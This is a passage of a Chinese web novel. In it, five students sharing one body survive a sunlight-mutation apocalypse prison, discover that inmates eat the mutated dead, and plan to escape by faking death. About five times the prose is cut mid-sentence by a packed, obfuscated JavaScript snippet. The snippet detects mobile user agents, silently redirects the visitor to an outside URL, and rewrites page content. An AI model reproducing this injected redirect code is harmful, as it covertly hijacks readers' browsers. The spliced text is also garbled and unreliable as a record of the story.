中年男子怒斥的声音响彻在狭长的监狱回廊中,紧随其后的是阵阵沉重的脚步声。从中年男子声源那头逐渐响起铁链乒呤乓啷的晃动声。 “别!别杀我!我还可以继续工作,我没有变异!别!”青年撕心裂肺的声音陡然响起,随即湮灭在刀剑没入骨肉的声响中。 重物拖行的声音在众多锁链声中逐渐离开走廊。 舒怀瑾被铁链拴着,连铁栏杆都摸不到,更别提看一眼发生了什么。胡文彬和龙海玉虽然可以勉强探到栏杆边去望上一望,却碍于越来越近的狱卒而不敢开口讲话。 脚步声越来越近,方才捕捉到“变异”二字的程映雪和何华有些手心出汗,自觉将手背的口眼贴藏在裤腿边,让掌心朝外。 一个地中海大叔负手踱着步出现在视野中。他大腹便便,身着白色长袖长裤,巡视着每一间牢房。目光触及舒怀瑾背过去的手时,他玩味地眯了眯眼,看向强装镇定的舒怀瑾。 就这样停留数十秒后,他才转过眼继续往前走去。他的身后是配有弯刀的士兵,白花花的一片,偶尔溅上几滴鲜红。 五人心中发毛,等到地中海和士兵们完全离开他们的视线,才稍微舒了一口气。 舒怀瑾并不认为地中海是放过她了。刚刚的眼神更像是上位者在玩猫捉老鼠的游戏,他似乎只是想给她一点希望,榨干她最后一点价值后再进行屠杀。 地中海将整个走廊的牢房巡视了个遍,期间又处决了几个变异人,还拉出来了一具看起来完全正常的尸体。 变异人的确是变异得有些太明显了,无怪乎能被立刻看出来。有人皮肤上长满了绿色的鳞片,鲜红又分叉的舌头从尖锐的齿间长长地伸出来;有人脸上长满了眼睛,每一颗眼珠都格外地凸出,仿佛在诉说死前的不甘;还有人已经烂得好似骷髅,仍挂在身上的肉也长满了黑色的长毛,脸上只留下两颗眼珠连着神经,像红白灯笼一样挂在眼眶中。那具正常的尸体在旁边看起来倒是显得格格不入,除却瘦削脏污的身体外,只有一道新鲜的刀伤贯穿他的后腰。 舒怀瑾看了一眼拎着那具尸体的士兵,血正沿着刀刃滑落。 看起来,这所监狱不会容忍囚犯活着逃离。 舒怀瑾正思忖着通关方法,却被两声拍掌声打断了思路。地中海的声音戏谑地响起:“今天进了批新货,我就发发慈悲,再给你们讲讲规矩。第一,进到这儿来就别想着跑,你们就是死也要死在我手上。第二,每天早上六点进行第一次巡视,晚上十点进行第二次巡视,到点了给我麻溜爬起来。我下手可不知轻重,别等我抽你们。第三,你们来到这儿也别想就在这混吃等死,每天布置的任务要是完不成,不仅没饭吃,外面的处刑架还等着伺候你们。” 他顿了顿,似乎在摆弄着什么机械。“啪”的一声脆响,舒怀瑾只感觉一阵电流在脑中横冲直撞,头痛欲裂,整个人更是直接重重摔倒在地上。 地中海对响起来的一片倒地声颇为满意:“心眼子多的也可以收收了,你们脖子上那个项圈有定位,谁敢跑出工作范围,刚刚那个就是惩罚。现在,开始工作吧。” 模模糊糊中,舒怀瑾只见到有士兵从护栏外往里塞了一团黑乎乎的衣服。耳边又朦胧地响起鞭子的声音,然后是一阵叫骂声。她定了定神,思及地中海及士兵的长袖长裤,又看了看现在身上破破烂烂的短袖短裤,还是和组员们商量了一下,跌跌撞撞地爬过去穿戴好那团酸臭的衣服、头套和手套。 有士兵将她这间牢房的护栏门打开,手一挥示意她出去。锁链自觉与项圈分离,她顺从地出了牢房,在地上领了一个背篓,融入门前的人群之中。方才穿衣服的时候,她才发现,自己如果在取得组员同意的情况下,就可以对四肢具有一定程度上的调度权。这很大程度上改善了五人的行动效率,至少不会走一步摔两跤了。 士兵们挥舞着鞭子,像牧羊犬一般将羊群一般的犯人们赶出狭长的走廊,赶上长长的楼梯。爬了五层的楼梯,又经过三道厚重的电子铁门,舒怀瑾等人才重见光明。 说是光明其实有些不准确,毕竟光明一向是携带着希望和温暖等意象的词语,但此刻落在皮肤上的阳光却透过衣服带来细微的针刺般的疼痛。舒怀瑾莫名有些烦躁,点开数据面板,发现自己的精神值后面附加了一条红色的说明——正在遭受精神攻击,目前精神值降低速度为1点/天。 原来地中海说的扒光了扔到地面上去晒太阳是这个意思。 “映雪,你感觉怎么样?精神值有没有降低?”舒怀瑾在脑海中问道。 程映雪查看面板:“没有,我目前精神值显示还是满值,一切正常。” 除了她露出一双眼睛外,其余四人均是通体被遮挡着。看来这身衣服和手套效果还不错。 舒怀瑾小幅度地观察着四周。刚从地下出来时,四周都是一片荒芜,时不时有风卷起地上的尘沙。走出几百米后,她便见到不远处高高竖起的围墙。青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593633|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰色的石墙下有一道小门,高矮宽窄仅容一人通过。人们排成一道长龙,由两名士兵前后包夹着通过那道小门。 舒怀瑾原本以为他们所在之处生境已经完全被破坏了,所以目之所及没有任何植物与动物。但谁成想门里门外竟然完全是两个世界。 一穿过那道门,先前空气中的干燥闷热便全然被清新湿润所替代。他们已然进入一片巨型森林,视野中全是一片深深浅浅的绿色。舒怀瑾不禁感叹着这样巨型的树不知要长多少年,余光却见到监察的两名士兵全都持刀警戒着,似乎这茂密的森林中有什么洪水猛兽时刻会窜出来偷袭。 好在是一路平安。为首的士兵将他们带到一处密林之中,吩咐他们上午就在此处拾捡树枝,捡到的树枝就放在背篓中,一上午必须捡满一整个背篓。 舒怀瑾看了看背后竹编的背篓。这背篓虽然大,但在这样的密林之中捡一上午,树枝肯定是绰绰有余。费尽心思押送他们到这么远的地方来,却只提出这么宽裕的要求?这一定不会是仁慈。 “老妹儿,我的技能是金钟罩,能抵挡一次致命伤害。”胡文彬小声道,“虽然现在我变成一条腿了,但技能应该是还能使出来。大伙儿都盯着点,需要的时候直接喊我,我直接上技能。” “我的技能也应该有用,喷火的,指哪打哪。”龙海玉也应声道。现在是组队完成任务,大家都是一条绳上的蚂蚱,技能藏着掖着没有任何益处,保住组员就是保住自己。 程映雪颇有些羞赧:“不好意思,我的技能只能自己使用,是可以免疫五分钟以内的视觉性精神攻击。但是要是有什么需要睁眼顶上的,我一定义不容辞!” 何华只是抿了抿唇:“不好意思,我的技能不能透露。” 霎时间气氛有些沉默。 不过舒怀瑾不是很在乎这些,她看了看自己升级的新技能,道:“我的技能是可以主动向一个人提问,对方会自愿对我吐露真言。” 她看向在不远处警戒的士兵。或许待会儿可以找一个士兵试试这个技能,打听一下通关要求金银花的所在,顺便了解一下世界背景。 但她还没来得及走向士兵,忽然听得一声重物落地的闷响,一阵疾风猛地朝她袭来。她堪堪侧身翻滚闪躲,那未知的袭击者也不再恋战,倏忽间钻进灌木丛中消失不见。 她立住身形,望向疾风袭来的方向。身材魁梧的男性就这样一声不吭地倒在了不远处,心脏处是拳头大的血洞。 11. 小组作业3 那具尸体身形陌生,身下是破碎的背篓与散乱的干枯树枝,且双手均被遮盖,无法辨认是否有眼与口。但一路上以来,舒怀瑾所见的囚犯大多都是骨瘦如柴,像他这样壮硕的实在少见。地上这具尸体,大概率和他们一样,是被拉入问卷的学生。 人群中传来窸窸窣窣的议论声。 此处的骚乱引起了士兵的注意,但他们只是紧了紧手中的刀具,并没有前来探查尸体。 “哎,何老弟这伤咋整啊?”胡文彬压低了声音道。 舒怀瑾闻言看向左手。方才闪避时情况危急,五人各用各的劲。虽然是避开了要害,但那未知的攻击物贴着左臂擦过,竟硬生生撕下来一块皮肉。伤口边缘参差不齐,殷红的血液此时正止不住地往外流。 “不碍事,我有道具。”一块纱布凭空出现在何华掌心。他试图将纱布贴在左臂伤口上,奈何伤口位置较低,且眼睛长在掌背,怎么贴都有些错位。 程映雪看他忙活不到点上,便试着伸出手:“交给我吧,我帮你贴。” 何华咬牙尝试多次,依旧无果,才有些沮丧地将纱布交给程映雪。 那纱布一覆盖上他的伤口,血就立即止住了。片刻后将纱布揭下,原本血淋淋的伤口竟然已经长好了新肉,只留下一圈浅浅的疤痕。 这效果好得令另外几名队友咋舌,却也吸引来了几道探寻的陌生目光落在舒怀瑾遮挡的面部上。舒怀瑾默然抬眼,直视尚来不及错开视线的几人。 窥探的五人匆匆撇头,其中仅有一人羸弱不堪。诚然,比起原住民,大学生的好奇心更为强烈。 不过现下已经来不及多想。刚刚耽搁了不少时间,如今最要紧的还是完成捡柴的任务。鉴于担心遇难者是因为捡了不该捡的柴而遭受掏心而死,舒怀瑾一行人没敢去触碰尸体身旁的树枝,而是远远观望了一下正在捡柴的原住民们。 一名瘦弱的青年背篓中已有不少东西,他发现树枝后并没有急着触碰,而是略微凑近树枝后用手扇闻。他遍布鞭痕的眼周小幅度抽动了一下,随即远离了那根树枝。 舒怀瑾状似无意地走到那节树枝旁,有样学样地与树枝保持安全距离后嗅闻其味道。手掌煽动之间,一股隐秘的腐臭味瞬间充斥了她的鼻腔。 异味是危险的象征。 她面色扭曲地远离了那根树枝,又看见先前的那个青年拾起一片树叶放进背篓里。 判断错误的代价是成为尸体。比起自己毫无根据地缓慢探索,舒怀瑾还是更偏好去向前辈取经。 “你好,我是新来的。可以请教一下你是怎么判断哪些柴火是可以捡的吗?” 舒怀瑾走向那个青年,却见他面上浮出几分厌恶之色。 “死到临头了说话还那么文绉绉的。末世都那么多年了还不知道怎么判断,你是怎么活下来的?” “啊……不好意思,我之前一直都在叔叔的安全区里生活,大家都说我脑袋有点问题,所以没教我太多。被抓到这来,我真的好害怕,求求你教教我怎么活下去吧。” 被舒怀瑾空洞的眼神望着,刘磊颇有些恶寒地上下打量了一下她。眼前的少女浑身上下虽然没有二两肉,但是确实算得上体型匀称,不似他们这群久经囚禁的人一般瘦到双目凹陷,可见平常生活条件的确是不错。 “蠢死了,这世道怎么可能有什么安全区?我怎么从来没听说过?”他深吸一口气强压下心中狂躁,询问道:“你说的安全区在哪?” “我分不清东西南北,我只知道它在我家附近,是我叔叔办的。叔叔是警察,大家住在里面都很安全。” 虽然她的话中有许多漏洞,但在这生不如死的地牢里苟延残喘了大半年,一线生机对于刘磊而言都无比珍贵。尽管他每次外出都会竭尽所能避免接触日光,然而阳光对他日积月累的侵蚀已经令他开始异化,每日两次的检查更不容许他在这所地牢久留。新来的人一般活不过两天,眼下还需要从她嘴里套出更多信息,绝不能让她死太快。 刘磊缓缓点头:“看你可怜,你就跟在我后面学吧。要学的东西多得很,你最好能记得住。” 舒怀瑾低头称是,稍稍放下心来。 “怀瑾,你反应好快啊。”脑海中响起程映雪略显紧张的声音,“但是这样说他真的相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593634|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “……不信也得信。”溺水的人,无论抓住什么东西都不会轻易放手的。 舒怀瑾自己刚才心里也是有些打鼓。装傻充愣实在是破绽百出,但她情商告急,偏偏又箭在弦上,不得不发。还好她赌对了这名青年强烈的求生欲望,无论如何,这一关暂时是过了。 直到日头高高升起,密林中投下簌簌的光影,舒怀瑾一行人才将背篓填满。 刘磊虽然不耐烦,但为了得到自己想要的答案还是竭尽所能地将求生方法都告知了舒怀瑾。在刘磊想方设法套话的期间,舒怀瑾也从他口中了解到不少这个世界的信息。 多年前一次看似正常的日出中,被阳光照射的植物疯狂生长为有攻击性的异形,而同样沐浴在阳光下的动物则在变异后陷入长达一个月的狂暴期,随后力竭而死。所有暴露在太阳下的人一瞬间变成嗜血的怪物,世界陷入混乱,秩序分崩离析。往日带来生命的阳光变成了一切的催命符,哪怕是做好防护的人也会被逐渐被侵染。仅存的人类躲进了地下,而在日渐短缺的资源中,没有任何呼吁可以唤起人们的希望。 虽然大部分树木都已经成为了动物杀手,但他们所在树林的优势种是目前少有的非主动攻击性树种,只要通过气味与外形特征稍加辨别,便可以放心接触其枯死的部分。 经过一上午的采集,舒怀瑾的精神值已经下降了1点,且负面效果已经增加到了每日降低2点精神值。身为四肢的队友们由于遮盖完全,目前仅有每日降低精神值0.5的负面效果。 正午的阳光对在密林中活动的人尚且有如此大的影响,不经遮蔽便行走在阳光下的结果可想而知。 舒怀瑾数了数上个副本带出来的浆果数量,还剩下二十一枚。算上队友们和此时同在这个副本的江贮月与邓溪明的需求,这个数目属实不算多。好在这个世界中精神值下降带来的影响不像上个世界一般剧烈,只是令人没来由地烦躁易怒。 她没有选择食用浆果。目前仍没有探明这个世界的全部陷阱,因此对于道具还是能省即省。她镇下躁动的心神,跟随着已被士兵召集的人群缓缓前行。 12. 小组作业4 采集了足够的柴火后,士兵们并没有顶着大太阳带领大部队返回地牢,而是驱使人们来到了一处罩有顶棚的空旷地带,并宣布就地休息,等到下午三点再启程前往下一个工作地点。 据刘磊所说,这里不会给囚犯发放午饭。事实上,遇上这样一所压榨劳动力的监狱,舒怀瑾还能再奢求什么呢?顶着每日降低2点精神值的负面效果,加上早已令肚子咕咕叫响的饥饿感,舒怀瑾几乎是眼冒金花。 看着士兵们从随身携带的布包中掏出午餐,原本会对这些食物嗤之以鼻的舒怀瑾此时已经是垂涎欲滴。 另外四人虽然由于情况特殊而感觉不到饥饿,但舒怀瑾那一副恶狼扑食的模样着实是有些吓人。龙海玉四下张望后连忙从背包里翻出一个三明治,借由程映雪之手送到舒怀瑾嘴前:“你快吃,我这还有,不够再拿。” 舒怀瑾凭借着残存的意志转过身,蜷着身子背对着众人将三明治囫囵吞下。胃里是有东西了,但她还是饿得心慌。从龙海玉和胡文彬那里又拿了六个叉烧包、五块巧克力、五个馒头塞进肚子里后,她的理智才慢慢回笼。 说来也奇怪,平日里虽然她也吃得多,但还从未有过像今天这样能吃,活像长了五个胃。舒怀瑾摸摸不见鼓的腹部,又看看完全不饿的另外四人,饿鬼出世的答案和对问卷古怪设定的无语之情一起浮上心头。 饥饿与倦怠在午日之下蒸腾,不少人已经就地坐下,昏昏沉沉地半眯着眼睛。 舒怀瑾瞧了瞧一个远离人群强打着精神的士兵,从他侧方谨慎靠近,隔着两米远对他发动了技能。 “哪里有金银花?” 士兵似乎有些疑惑地动了动脑袋:“金银花?后山脚溪流旁似乎有吧?” “有没有工作任务是能去后山脚溪流那儿的?” “我也不清楚,我才来这儿当值,任务发布好像是随机的。” 舒怀瑾有些沮丧,但这个技能要求三个问题必须一次性向同一个人问完,剩余的问题也不会保留到下一次技能发动。她原本想着士兵或许了解的更多,现在看来是她莽撞行事了。 她带着希冀提出最后一个问题:“脖子上的项圈怎么样才能解除?” 幸而士兵这回没再犹豫:“王总司令手上有钥匙,关的人没用了就可以解开了。” 三个问题问毕,技能效果也立即解除。舒怀瑾趁着士兵还没反应过来,拐个弯回到了原本待的路标下。 路标破破烂烂的,缠绕着不少纤细的藤蔓。刘磊此时也正坐在路标下,狐疑地看着去而复返的舒怀瑾。方才他见这个少女目不转睛地盯着吃饭的士兵看了许久,随后又仿佛过家家一般背过身子拿着空气往嘴里塞,还嚼得不亦乐乎,心下难免对她自称是痴呆儿的说法多信了几分。只是那些士兵脾气一向不算好,她上前吱吱喳喳地不知道说了什么,居然没有被立刻赶走,真是个奇迹。 “你和他说了什么?” “我说我好饿,好想吃他吃的东西哦。”舒怀瑾撇了撇嘴,“他不给,他说这是王总司令发的,不是我的。” “你说王总司令是谁啊?我能不能找他要吃的呢?” 刘磊将信将疑,心想难道真是傻人有傻福,问这话都没被鞭笞一顿。他看了一眼方才被搭话的士兵,发现是个新面孔,这才找到些许理由说服自己相信舒怀瑾的话。 “王总司令就是早上那个说规矩的胖子。”刘磊道。只见舒怀瑾“哦”了一声,低下头又不知道在发些什么呆。 实际上,舒怀瑾低着头在和队友商量下一步如何行动。先前在采集过程中胡文彬不慎出声,五人都以为要被原住民发现自己的怪异之处了,却发现周围没有人发现异样。小心尝试几遍后,五人才发现队内交流完全是对外隔音的,此后便畅所欲言。 龙海玉:“这样天天遭受精神攻击有些太被动了,干等那看不见摸不着的任务发下来也不是个事儿啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593635|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡文彬:“想个法子把那钥匙弄来?” 程映雪:“感觉偷钥匙难度比较大,况且开了锁后我们也没法逃出去啊。” 从地牢往上走,每一个楼梯间都有着上锁的大门,想突出重围似乎有些太难了。 何华:“不知道后山的金银花多不多?如果数量足够的话,也许我们可以联合其他同学一起逃跑。既然可以有龙学姐这样的喷火技能,在场的同学或许也有其他杀伤性技能。” 舒怀瑾沉默着。总共有五十个人参与本场次副本,每五人组合为一人,即从外观上而言只有十个人。同一个小组中,只要有一个人不愿意合作,小组内的协调性就会下降,接下来的行动便会变得困难无比。因此,算上小组不愿意合作的可能性,剩下来的战力应当不足以支持他们逃出这重重关卡。 如果想要顺利出逃,或许还要借助这所地牢内部的力量才行。而按照士兵所说与他们的所见所闻,应该只有死人才能被解除项圈。第二个问题开启的前一天,她和舍友们聊天时相互展示了升级后的新技能,而江贮月的技能升级后除了能让变形更真实外,还增加了短时间内的使用次数。结合江贮月的变形技能和胡文彬免受致命伤害的技能,假如尸体不是被立即处理掉的话,他们也许可以以尸体形式被运出地牢。 成功出逃后采到金银花再联系江贮月和邓溪明来接头,计划(似乎)通! 舒怀瑾:“能不能靠装死逃出去?” 另外四人:? 但这个点子有很多不确定性,还是要先征求江贮月的意见。她将想法和四人解释了一下,在四人讨论可行性之时在脑海内呼唤江贮月。 “贮月,你们现在怎么样?” 江贮月和邓溪明在同一组,上午被分配到了了清洗衣物的工作,此时估计也在休息。 她话音未落,江贮月的声音立即响起:“怀瑾,我们正好有事要和你说!” “我们通关了!” 13. 小组作业5 江贮月和邓溪明通关了! 通关了? 舒怀瑾有点愣神。怎么这么快? 在江贮月和邓溪明的解释下,舒怀瑾算是将来龙去脉了解了个大概。 她们俩在另一个组里是双腿的位置,今天上午一组人正好被分配到后山脚溪流处浣洗衣物。生科人身上多少有点植物认种的技能,因此邓溪明休息时随意一看就发现了一株枯倒在地上的金银花。在她的提醒下,一组人很快便采到了毫无攻击性的金银花,但他们却在接下来的行动上起了分歧。 邓溪明和江贮月希望能再多采一点金银花交给舒怀瑾和程映雪,但另外三人认为夜长梦多,与其冒着危险去给不认识的一组人送温暖,不如自己先安全通关离开副本。 双腿难敌一头双手,最终金银花被吞入腹中,五人顺利通关。 随便看看都能发现通关关键,这样的好运气简直让人羡慕得五体投地。舒怀瑾甚至怀疑上个副本中她们没能立刻通关都是因为自己脸太黑,毕竟她是一个玩游戏六七年都没能出SSR的非酋。 简单道喜以后,舒怀瑾将自己的通关思路告知了江、邓二人。 “你需要的时候喊我就好了,我立刻给你上技能。”江贮月拍拍胸脯的声音在脑海中响起。 “我的技能也随叫随到,只是……只是我们已经不在副本里了,技能可以给你用吗?”邓溪明有些迟疑。 的确,副本世界和现实世界似乎隔着次元,但既然她们都可以在脑海里跨次元交流,使用技能应当也不是毫无可能。 实践是检验真理的唯一标准。反正她们的技能升级后可用次数变多了,提前试验一下总归是保险一些。 好在,结果显示江贮月和邓溪明的技能仍然能够作用在舒怀瑾身上。 尽管如此,装死作为一个逃亡计划而言还是太过于理想化,具体该如何做还应该要看接下来的信息收集。因而舒怀瑾一行人满怀着希望,带着脚踝上的刺青和移速加成两个技能效果投入了下午的工作之中。 …… 很可惜,下午的工作并不是洗衣服,而是烧柴火。 舒怀瑾一边被烟呛得咳嗽,一边往噼里啪啦的火焰中添加树枝与树叶。 他们此刻身在一处枯败的城镇之中。偌大的广场被分为了两部分,其间用红砖泥墙隔开。舒怀瑾所在的区域只有黑色的塑料膜作顶棚,其下是数座大型土灶台,周围三面透风。广场上不见植物的绿意,但藤蔓无声爬上了外围破旧的防护墙,缓慢但持续地释放出腐蚀性的酸液,侵蚀着断壁残垣。 灶台另一侧的原住民拖来一个麻袋,将里面的东西倒入锅中,另一个原住民掌着勺不时地搅拌。锅中冒出一股腥臭难闻的味道,熏得舒怀瑾有些想吐。 幸而除了最开始点火需要费些功夫外,机械性添柴并不是一个需要太多脑子的活计——舒怀瑾的思绪不禁飘到方才来时的路上。 相比于上午,下午的路程危险了许多。经过一中午的侵染,日渐灼烫的阳光仿佛激活了植物的杀意。路旁细叶榕垂下的气生根扭曲地蠕动着,将来不及远离的几人绞杀在缠绕的根茎中。众多木棉花从天而降后紧紧黏附在人的口鼻处,无数团灰白的棉絮争先恐后地钻进体腔,最终填满了胃与气管。 原住民对这些植物早有防备,因此少有因此而丧命的。然而对于五人一组的大学生们而言,遭遇未知物袭击那一瞬间的恐慌足以令五人本就不牢固的信任与默契分崩离析,腿与手在惊吓间各自挣扎,头部也无力协调,最终一起绊倒于地上凄惨死去。 据刘磊所说,现在的植物杀伤性比从前弱得多。异变之初的植物对动物一击毙命,表皮更是如坚硬如铁,难以反击。哪怕是用熊熊烈火点燃一片森林,火势渐微之时也能看见被遗留下来的果实扭曲地在遍地灰烬上扎根生长。 近年来,动物已经在发狂后逐渐死亡,而植物生长速度也不再如病毒扩散般迅猛。 这看似是人类生存的曙光,但贫瘠至极的土地与集体灭绝的生物注定了生态系统的腐烂。等到植物也全部覆灭的那一天,人类也将走向命定的消亡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593636|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这是太阳对地球的清洗。 “怀瑾,你快看!” 程映雪的声音将她的思绪拉回。 舒怀瑾抬头,只见外围的灶台边有一名男性正在地上瑟缩着。他的双手紧紧掐着自己的喉咙,浮肿的脸涨得通红,崎岖尖锐的牙不住地上下开合,扎入伸出口腔的半截鲜红舌头之中。颤抖之中,他原本灰暗的皮肤如同皲裂的墙纸一般层层脱落,露出其下墨蓝的纹理。 “他变异了!快跑!” 人群中不知道谁大喊了一声,原本就躁动的众人四下奔逃。蜷缩在地上的变异者仿佛受了刺激一般,抽搐着爬起来,扑向了离他最近的人。 他撕咬着对方最脆弱的脖颈,咀嚼间满是血肉的嘴呜呜咽咽地道歉,但喉咙内很快便只剩下野兽般的低吼。 舒怀瑾还是第一次直面异变的过程。她朝着远处不甚利落地奔跑着,尽量避开受惊的人群。 变异者的吼叫声越来越大,带着撕裂一般的痛苦。 她跑到顶棚的边缘,在阴影与阳光之界停下了脚步,回身搜寻变异者的位置。变异者此刻已经完全暴露在阳光之下,身形胀大了整整一圈,只有脖子因为项圈的束缚而被勒出一圈凹陷。他狂躁地破坏着脖子上的项圈,金属一般的指甲在铁制项圈上铮铮作响。终于,项圈出现了细微的缺口。 ——沉闷的爆炸声在天地间回响,随后是物体坠落翻滚的声音。 损坏的项圈自爆了。 舒怀瑾脖颈一凉,庆幸自己没有率先对项圈下手。 士兵点了几个人去收拾变异者翻飞的血肉,便催促剩下的人继续工作。 舒怀瑾回到灶台下,偷眼看着那群人处理尸块。 他们拿了一个很大的麻袋,用斧头将大块的尸体斩成小块,随即全部扔进麻袋之中,束好口后用大锤捶打数分钟,再往棚内一路拖行。 舒怀瑾看着那个麻袋,感觉它有点眼熟。直到他们将麻袋丢到砖墙边成堆的麻袋中时,她才反应过来。 麻袋里的、锅里煮的,分明都是变异者。 14. 小组作业6 夜晚九点半,地牢。 舒怀瑾看到眼前凝固的肉汤时,下午的记忆仿佛又浮现在眼前。呕吐的欲望上涌,但想到食物的紧缺,她不得已忍住了几乎已到喉咙口的胃酸。 经过一天的工作,她的精神值降到了18,而生命值起起落落,最终停留在了16。 不吃饭则生命值会下降,但她不可能吃人肉,更不可能吃变异人的肉。不谈最基础的道德底线,单论食品安全,食人绝对是红线一条。舒怀瑾甚至怀疑原住民变异发狂的原因除了太阳直射外还有朊病毒的侵染。 当她下午带着微弱的希望询问刘磊晚餐是什么时,不出所料地得到了刘磊一个惊奇的白眼:“吃人啊?反正也没东西吃,还能吃什么?尸体那么多,处理起来多麻烦。吃掉难道不是一举两得吗?” 舒怀瑾一行人均是沉默。 刘磊看着舒怀瑾惨白的脸,嗤笑道:“娇生惯养,连人的滋味都没尝过。你放心,你这么年轻,就算变异了口感也很好的。等你死后我一定好好品尝。” 恶心归恶心,舒怀瑾还是顺藤摸瓜地向刘磊问了不少关于尸体处理的事情。 每天两次的巡查会集中处理变异明显的人,尸体将在上午七点被统一运到屠宰场进行切割、捶打,再于下午三点被统一运往今天下午的工作地点,人称“厨房”。尚未变异且新鲜的尸体将被直接运往“厨房”,在广场的另一边进行烹饪。 结合其他原住民的聊天内容,刘磊提供的信息应当是无误的。 那么,该选择哪种方式逃出去呢? “不知道屠宰场安保工作严不严格啊?我觉得在熟悉的地点逃跑会更有把握一点。”龙海玉道。 “‘厨房’的安保并不算严格,我投非变异一票。”程映雪印象中,另一半“厨房”的另外三面仅用塑料板围起来,且出入口也没什么人守着,应该较好突破。 胡文彬:“支持。明早巡查的时候装死应该就成了,要不然还得在死人堆里待上一夜。”他一想到那些变异者的惨样就有些打冷颤。 何华沉吟许久,最终对这个提议表示赞同。 全票通过。 按照江贮月等人提供的信息,逃出地牢后他们需直接往西北方向走,沿着山脚绕到山的背面,在距溪水不远处即可找到金银花。 植物再如何变异也要给火焰几分薄面,而龙海玉的技能已经充能完毕,安全寻找到金银花的成功概率又增大不少。 …… 十点的巡查准时到来。 这次一切都算得上安稳,只是地中海王总司令经过舒怀瑾面前时,他的视线总如秃鹫一般直勾勾地扎在舒怀瑾身上。舒怀瑾被他上上下下如同待宰的猪羊一般打量着,心中恶寒,但面上只是顺从地低着头,并不作声。 她不想在逃离的前一晚惹事。 直到地中海与士兵们全部离去,四周再次陷入黑暗,舒怀瑾才摆脱掉那股阴森的被窥视感,俯下身蜷缩在地上。 潮湿的地牢冷得像冰窖。饥寒交迫的夜晚总是很难捱,但一想到明早便能离开这所吃人的监狱,五人相互勉励着浅浅入眠。 …… 凌晨五点半,舒怀瑾睁开了眼睛。 她给自己的心理暗示一向有效,睡前只要心中默想第二天想要醒来的时间,次日一定会准时醒来。 404寝室内,江贮月和邓溪明在闹钟声中醒来。 舒怀瑾在队内通话中叫醒了另外四人,随后配合江贮月开始变形。 升级后的【易容】技能效果更完美了。变形后的舒怀瑾此刻除了意识清醒外,和一个真正的死人没有半分差别。她的面容似笑非笑,瞳孔散大,苍白的皮肤点凸如鸡皮。呼吸与心跳皆停止,她的身体冰冷而僵硬地蜷缩着,暗红色的尸斑散布于身下。 标准的冻死症状。 作为一具尸体,冻死可谓是完美达到“新鲜而完整”的标准。现下万事具备,只待六点钟的巡查。 …… 王貔的目光在眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593637|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这具尸体上游荡。昨夜垂眼不敢看人的少女在寒冷的夜里无声无息地死去,身上没有任何外伤,似乎只是如寻常的犯人一般在睡梦中被冻死。 然而她洁白又纤细的脚踝却透露着一丝古怪。王貔隐约记得,昨晚她的脚踝上有一圈环形的刺青,而此时刺青却消失不见。 他吩咐士兵将她的尸体拉出牢房,和另外一具同样完好的尸体放在一起。 看着从眼前被拖行而去的尸体,刘磊睁大了双眼。他还没来得及让舒怀瑾指认安全区的方向,因此她此时的死亡对他极为不利。昨天舒怀瑾还询问了不少关于尸体处理的问题,今天早上居然就这么死了?刘磊思索着其间的关窍,总感觉有些猫腻。他串联起舒怀瑾近日以来的所作所为,一个大胆的猜想出现在他脑海中。 她想装死逃出去! 刘磊眼色沉沉。在舒怀瑾将所知安全区的一切信息告知他之前,他得把她留下来。 